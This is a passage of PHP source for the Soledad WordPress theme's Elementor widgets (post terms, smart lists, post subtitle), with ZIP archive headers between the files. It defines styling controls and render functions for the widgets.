			'icon_size',
			array(
				'label'     => 'Icon Size',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array( '{{WRAPPER}} .term-labels i' => 'font-size:{{SIZE}}px' ),
			)
		);

		$this->add_control(
			'label_style',
			array(
				'label'   => 'Label Style',
				'type'    => \Elementor\Controls_Manager::SELECT,
				'default' => 'default',
				'options' => array(
					'default' => 'Default',
					's1'      => 'Style 1',
					's2'      => 'Style 2',
					's3'      => 'Style 3',
					's4'      => 'Style 4',
				),
			)
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(),
			array(
				'name'     => 'label_typo',
				'label'    => __( 'Typography for Label', 'soledad' ),
				'selector' => '{{WRAPPER}} .term-labels',
			)
		);

		$this->add_control(
			'label_color',
			array(
				'label'     => 'Label Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .term-labels' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'label_bgcolor',
			array(
				'label'     => 'Label Background Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .term-labels' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'label_bcolor',
			array(
				'label'     => 'Label Background Borders Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'label_padding',
			array(
				'label'      => 'Label Item Padding',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .term-labels' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'label_border',
			array(
				'label'      => 'Label Item Border',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .term-labels' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'label_border_style',
			array(
				'label'     => 'Label Borders Style',
				'type'      => \Elementor\Controls_Manager::SELECT,
				'options'   => array(
					'dotted' => 'Dotted',
					'dashed' => 'Dashed',
					'solid'  => 'Solid',
					'double' => 'Double',
					'groove' => 'Groove',
					'ridge'  => 'Ridge',
					'inset'  => 'Inset',
					'outset' => 'Outset',
				),
				'selectors' => array( '{{WRAPPER}} .term-labels' => 'border-style:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'label_border_radius',
			array(
				'label'      => 'Label Item Borders Radius',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .term-labels' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings          = $this->get_settings();
		$term_text         = $settings['term_text'];
		$label_text        = $settings['label_text'];
		$term_link         = $settings['term_link'];
		$label_enable_icon = $settings['label_enable_icon'];
		$label_icon        = $settings['label_icon_display'];
		$before            = 'a href="#"';
		$after             = 'a';
		$divider           = $settings['term_divider'];
		$divider_icon      = $settings['term_divider_icon'];
		$term_style        = $settings['term_style'];
		$label_style       = $settings['label_style'];
		if ( $term_link ) {
			$before = $after = 'span';
		}
		?>
		<div class="pctmp-term-list term-style-<?php echo esc_attr( $term_style ); ?> label-style-<?php echo esc_attr( $label_style ); ?>">
			<?php if ( $term_text && $label_text ) : ?>
				<span class="term-labels">
				<?php if ( $label_icon && $label_enable_icon ) : ?>
					<?php \Elementor\Icons_Manager::render_icon( $label_icon ); ?>
				<?php endif; ?>
				<?php echo $label_text; ?>
			</span>
				<?php
			endif;
			$demo_terms  = array(
				'Animal',
				'World',
				'Miami',
				'Tini',
				'Coast',
			);
			$i           = 0;
			$total_items = count( $demo_terms );
			foreach ( $demo_terms as $term ) {
				echo '<' . $before . ' class="pctmp-term-item">' . $term . '</' . $after . '>';
				if ( $divider && $divider_icon && $i++ < ( $total_items - 1 ) ) {
					echo '<span class="divider-icon">';
					\Elementor\Icons_Manager::render_icon( $divider_icon );
					echo '</span>';
				}
			}
			?>
		</div>
		<?php
	}

	protected function builder_content() {
		$settings          = $this->get_settings();
		$term_name         = $settings['term_name'];
		$term_text         = $settings['term_text'];
		$label_text        = $settings['label_text'];
		$term_link         = $settings['term_link'];
		$label_enable_icon = $settings['label_enable_icon'];
		$label_icon        = $settings['label_icon_display'];
		$divider           = $settings['term_divider'];
		$divider_icon      = $settings['term_divider_icon'];
		$terms             = wp_get_post_terms( get_the_ID(), $term_name );
		$term_style        = $settings['term_style'];
		$label_style       = $settings['label_style'];
		if ( $terms ) {
			?>
			<div class="pctmp-term-list term-style-<?php echo esc_attr( $term_style ); ?> label-style-<?php echo esc_attr( $label_style ); ?>">
				<?php if ( $term_text && $label_text ) : ?>
					<span class="term-labels">
					<?php if ( $label_icon && $label_enable_icon ) : ?>
						<?php \Elementor\Icons_Manager::render_icon( $label_icon ); ?>
				<?php endif; ?>
					<?php echo $label_text; ?>
			</span>
					<?php
				endif;
				$terms       = wp_get_post_terms( get_the_ID(), $term_name );
				$i           = 0;
				$total_items = count( $terms );
				foreach ( $terms as $term ) {
					if ( $term_link ) {
						echo '<span class="pctmp-term-item">' . $term->name . '</span>';
					} else {
						$prefix_class = 'category' == $term->taxonomy ? 'cat' : esc_attr( $term->taxonomy );
						echo '<a href="' . get_term_link( $term ) . '" class="pctmp-term-item penci-' . $prefix_class . '-name penci-' . $prefix_class . '-' . $term->slug . ' penci-' . $prefix_class . '-' . $term->term_id . '">' . $term->name . '</a>';
					}

					if ( $divider && $divider_icon && $i++ < ( $total_items - 1 ) ) {
						echo '<span class="divider-icon">';
						\Elementor\Icons_Manager::render_icon( $divider_icon );
						echo '</span>';
					}
				}

				?>
			</div>
			<?php
		}
	}
}
PK     2w\,ecJV  JV  /  template-builder/single-elements/smartlists.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleSmartLists extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Smart Lists', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-content';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'content', 'smart', 'list' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsml-el elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-smartlists';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'smartlists_heading', [
			'label' => esc_html__( 'Smart Lists', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'smartlists_style', [
			'label'       => esc_html__( 'Smart Lists Style', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => '1',
			'label_block' => true,
			'options'     => [
				'1' => 'Style 1',
				'2' => 'Style 2',
				'3' => 'Style 3',
				'4' => 'Style 4',
				'5' => 'Style 5',
				'6' => 'Style 6',
			]
		] );

		$this->add_control( 'smartlists_h', [
			'label'       => esc_html__( 'Smart Lists Content Break', 'soledad' ),
			'description' => esc_html__( 'Select the heading of the content listing', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => 'h3',
			'label_block' => true,
			'options'     => [
				'h1' => 'H1 Heading',
				'h2' => 'H2 Heading',
				'h3' => 'H3 Heading',
				'h4' => 'H4 Heading',
				'h5' => 'H5 Heading',
				'h6' => 'H6 Heading',
			]
		] );

		$this->add_control( 'smartlists_heading_tag', [
			'label'       => esc_html__( 'Smart Lists Items Heading Tag', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => '',
			'label_block' => true,
			'options'     => [
				''   => 'Inherit from the Smart Lists Content Break',
				'h1' => 'H1 Heading',
				'h2' => 'H2 Heading',
				'h3' => 'H3 Heading',
				'h4' => 'H4 Heading',
				'h5' => 'H5 Heading',
				'h6' => 'H6 Heading',
			]
		] );

		$this->add_control( 'smartlists_img_size', [
			'label'   => esc_html__( 'Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'penci-full-thumb',
			'options' => $this->get_list_image_sizes(),
		] );

		$this->add_control( 'smartlists_img_msize', [
			'label'   => esc_html__( 'Mobile Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'penci-masonry-thumb',
			'options' => $this->get_list_image_sizes(),
		] );

		$this->add_control( 'smartlists_order', [
			'label'     => esc_html__( 'Number Order', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => 'asc',
			'condition' => array( 'smartlists_style!' => [ '5', '6' ] ),
			'options'   => [
				'asc'  => 'Ascending',
				'desc' => 'Descending',
			]
		] );

		$this->add_responsive_control( 'smartlists_spacing', [
			'label'     => esc_html__( 'Items Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'default'   => array( 'size' => '' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsml-item:not(:last-child)' => 'margin-bottom: {{SIZE}}{{UNIT}};padding: 0 0 {{SIZE}}{{UNIT}};'
			)
		] );

		$this->add_responsive_control( 'smartlists2_img_width', [
			'label'     => esc_html__( 'Image Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'default'   => array( 'size' => '' ),
			'condition' => array( 'smartlists_style' => '2' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsml_style_2 .pcsml-figure'     => 'width: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .pcsml_style_2 .pcsml-figure img' => 'width: 100%;height:auto;',
			)
		] );

		$this->add_control( 'smartlists2_jalign', [
			'label'     => esc_html__( 'Item Content Alignment', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => 'start',
			'options'   => [
				'start'  => 'Top',
				'center' => 'Center',
				'end'    => 'Bottom',
			],
			'condition' => array( 'smartlists_style' => '2' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsml_style_2 .pcsml-info' => 'align-self: {{VALUE}};',
			)
		] );

		$this->add_control( 'maincontent_heading', [
			'label' => esc_html__( 'Entry Content', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'block_style', [
			'label'       => esc_html__( 'Blockquote Style', 'soledad' ),
			'description' => esc_html__( 'blockquote styles just applies when you use Classic Block or Classic Editor', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => 'style-1',
			'options'     => [
				'style-1' => 'Style 1',
				'style-2' => 'Style 2'
			]
		] );

		$this->add_control( 'heading_style', [
			'label'       => esc_html__( 'Heading Style', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => 'style-1',
			'options'     => [
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'smcolor_style', [
			'label' => esc_html__( 'Smart Lists Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'sm_heading_title_01', [
			'label' => 'Heading Title',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sm_heading_typo',
			'label'    => __( 'Heading Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsml-title-wrapper .pcsml-item-title',
		) );

		$this->add_control( 'sm_heading_color', [
			'label'     => 'Heading Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-title-wrapper .pcsml-item-title' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sm_heading_title_02', [
			'label' => 'Item Number',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sm_inumber_typo',
			'label'    => __( 'Item Number Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsml-item-number span',
		) );

		$this->add_control( 'sm_inumber_color', [
			'label'     => 'Item Number Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'sm_inumber_bgrd', [
			'label'     => 'Item Number Border Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'border-radius:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'sm_inumber_bdw', [
			'label'     => 'Item Number Border Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'border:{{SIZE}}px solid var(--pcborder-cl)' ],
		] );

		$this->add_control( 'sm_inumber_bdcolor', [
			'label'     => 'Item Number Border Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'sm_inumber_bgcolor', [
			'label'     => 'Item Number Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'sm_heading_title_03', [
			'label' => 'Description Text',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sm_desc_typo',
			'label'    => __( 'Description Text Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsml-desc, {{WRAPPER}} .pcsml-desc p',
		) );

		$this->add_control( 'sm_desc_color', [
			'label'     => 'Description Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-desc' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sm_heading_title_04', [
			'label' => 'Navigation',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_responsive_control( 'sn_nav_spacing', [
			'label'     => 'Navigation Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => [
				'px' => [
					'min' => 0,
					'max' => 1200,
				],
			],
			'condition' => array( 'smartlists_style' => '4' ),
			'selectors' => [ '{{WRAPPER}} .pcsml-pagination' => 'margin:{{SIZE}}px 0' ],
		] );

		$this->add_control( 'sn_nav_bdcolor', [
			'label'     => 'Navigation Border Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => array( 'smartlists_style' => '6' ),
			'selectors' => [ '{{WRAPPER}} .pcsml_style_6' => '--pcborder-cl:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'sn_nav_dropdown_typo',
			'label'     => __( 'Navigation Dropdown Typo', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsml-dropdown-wrap .pcsml-dropdown',
			'condition' => array( 'smartlists_style' => '6' ),
		) );

		$this->add_control( 'sn_nav_dropdown_color', [
			'label'     => 'Navigation Dropdown Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => array( 'smartlists_style' => '6' ),
			'selectors' => [ '{{WRAPPER}} .pcsml-dropdown-wrap .pcsml-dropdown' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_nav_dropdowncolor', [
			'label'     => 'Navigation Dropdown Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => array( 'smartlists_style' => '6' ),
			'selectors' => [ '{{WRAPPER}} .pcsml-dropdown-wrap .pcsml-dropdown' => 'background:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_nav_bgcolor', [
			'label'     => 'Navigation Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => array( 'smartlists_style' => '6' ),
			'selectors' => [ '{{WRAPPER}} .pcsml-dropdown-wrap' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'sn_nav_bgradius', [
			'label'     => 'Navigation Border Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'condition' => array( 'smartlists_style' => '6' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-dropdown-wrap' => 'border-radius:{{SIZE}}px' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sn_btn_typo',
			'label'    => __( 'Button Text Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsml-button',
		) );

		$this->add_control( 'sn_btn_color', [
			'label'     => 'Button Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_btn_bgcolor', [
			'label'     => 'Button Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_btn_hcolor', [
			'label'     => 'Button Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_btn_hbgcolor', [
			'label'     => 'Button Hover Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button:hover' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'sn_btn_bgrd', [
			'label'     => 'Button Border Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'border-radius:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'sn_btn_bdw', [
			'label'     => 'Button Border Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'border:{{SIZE}}px solid var(--pcborder-cl)' ],
		] );

		$this->add_control( 'sn_btn_bdcolor', [
			'label'     => 'Button Border Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_btn_bdhcolor', [
			'label'     => 'Button Hover Border Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button:hover' => 'border-color:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Standard Content Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for General Content', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-entry',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-link-color', [
			'label'     => 'Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-link-hcolor', [
			'label'     => 'Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry a:hover' => 'color:{{VALUE}}' ],
		] );

		for ( $i = 1; $i <= 6; $i ++ ) {
			$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'heading_typo_h' . $i,
				'label'    => sprintf( __( 'Typography for H%s', 'soledad' ), $i ),
				'selector' => '{{WRAPPER}} .post-entry h' . $i,
			) );
			$this->add_control( "content_h{$i}_color", [
				'label'     => "H{$i} Color",
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ "{{WRAPPER}} .post-entry h{$i}" => 'color:{{VALUE}}' ],
			] );
		}


		$this->end_controls_section();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings            = $this->get_settings();
		$block_style         = $settings['block_style'];
		$heading_style       = $settings['heading_style'];
		$placeholder1        = $this->random_image_url();
		$placeholder2        = $this->random_image_url();
		$placeholder3        = $this->random_image_url();
		$placeholder_content = '
                    <h3>The New Ways</h3>
                        <p><img class="alignnone wp-image-' . $placeholder1['id'] . ' size-full" src="' . $placeholder1['url'] . '" alt="" /></p>
                        <p>Focused on quality and innovation, our designers work closely with their clients to craft unique and highly unique fashion pieces.</p>
                    <h3>Chat with The Content</h3>
                         <p><img class="alignnone wp-image-' . $placeholder2['id'] . ' size-full" src="' . $placeholder2['url'] . '" alt="" /></p>
                        <p>Our extensive catalogue consists of the very latest fashion clothing and accessories from the most fashionable designers in the world. Focusing on quality and innovation, our designers work closely with their clients to craft unique and highly unique fashion pieces.</p>
                    <h3>#1 WordPress Theme</h3>
                    <p><img class="alignnone wp-image-' . $placeholder3['id'] . ' size-full" src="' . $placeholder3['url'] . '" alt="" /></p>
                    <p>We offer an excellent range of dresswear, accessories and footwear, in a wide variety of styles. </p>
                    [penci_end_smart_list]
                
                    <p>Sample Content after smart list end. Our goal is to provide you with an excellent, flexible and adaptable shopping experience. We believe that your shopping experience is one of the most vital aspects for your overall success and we are passionate about taking care of our clients and serving them with quality, dependable products. We have our website, Facebook page, Instagram account and various social media channels where we are continually improving our products and services. We also have an active online store of our own. </p>
                ';
		?>
        <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo 'heading-' . $heading_style; ?>">
            <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

				<?php do_action( 'penci_action_before_the_content' ); ?>

				<?php
				$placeholder_content = str_replace( ']]>', ']]&gt;', $placeholder_content );
				$smart_list_content  = penci_smartlists( [
					'style'               => $settings['smartlists_style'],
					'content'             => $placeholder_content,
					'order'               => $settings['smartlists_order'],
					'h'                   => $settings['smartlists_h'],
					'extract_first_image' => true,
					'sm_title_tag'        => $settings['smartlists_heading_tag'] ? $settings['smartlists_heading_tag'] : $settings['smartlists_h'],
					'sm_ad'               => '',
					'first_image_size'    => $settings['smartlists_img_size'],
					'first_image_msize'   => $settings['smartlists_img_msize'],
					'disablelazy'         => false,
				] );
				echo $smart_list_content;
				?>

				<?php do_action( 'penci_action_after_the_content' ); ?>

                <div class="penci-single-link-pages">
					<?php wp_link_pages(); ?>
                </div>
            </div>
        </div>
		<?php
	}

	public function random_image_url() {
		$id          = 0;
		$url         = PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=1920&h=800';
		$attachments = get_posts( [ 'post_type' => 'attachment', 'posts_per_page' => 1, 'orderby' => 'rand' ] );
		if ( ! empty( $attachments ) && isset( $attachments[0] ) ) {
			$url = wp_get_attachment_url( $attachments[0]->ID );
			$id  = $attachments[0]->ID;
		}

		return [ 'url' => $url, 'id' => $id ];
	}

	protected function builder_content() {
		$settings      = $this->get_settings();
		$block_style   = $settings['block_style'];
		$heading_style = $settings['heading_style'];
		?>
        <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo 'heading-' . $heading_style; ?>">
            <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

				<?php do_action( 'penci_action_before_the_content' ); ?>

				<?php
				$content = strip_shortcodes( get_the_content() );
				$content = apply_filters( 'the_content', $content );
				$content = str_replace( ']]>', ']]&gt;', $content );
				remove_filter( 'the_content', 'penci_insert_post_content_ads' );
				$smart_list_content = penci_smartlists( [
					'style'               => $settings['smartlists_style'],
					'content'             => $content,
					'order'               => $settings['smartlists_order'],
					'h'                   => $settings['smartlists_h'],
					'extract_first_image' => true,
					'sm_title_tag'        => $settings['smartlists_heading_tag'] ? $settings['smartlists_heading_tag'] : $settings['smartlists_h'],
					'first_image_size'    => $settings['smartlists_img_size'],
					'first_image_msize'   => $settings['smartlists_img_msize'],
					'disablelazy'         => false,
				] );
				echo $smart_list_content;
				?>

				<?php do_action( 'penci_action_after_the_content' ); ?>

                <div class="penci-single-link-pages">
					<?php wp_link_pages(); ?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     2w\Io}    -  template-builder/single-elements/subtitle.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleSubtitle extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Sub Title', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-title';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'subtitle' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-subtt elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-sub-title';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'heading_markup', [
			'label'   => esc_html__( 'Title Markup', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'h2',
			'options' => [
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			]
		] );

		$this->add_control( 'heading_align', [
			'label'     => __( 'Post Sub Title Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Sub Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-psub-title',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Post Sub Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'main-text-gcolor-enable', [
			'label' => 'Enable Gradient Color for Post Sub Title',
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'      => 'main-text-gcolor',
			'label'     => __( 'Gradient Color', 'soledad' ),
			'types'     => array( 'gradient' ),
			'selector'  => '{{WRAPPER}} .penci-psub-title span',
			'condition' => [ 'main-text-gcolor-enable' => 'yes' ]
		) );

		$this->add_control( 'main-text-inlinecolor-e', [
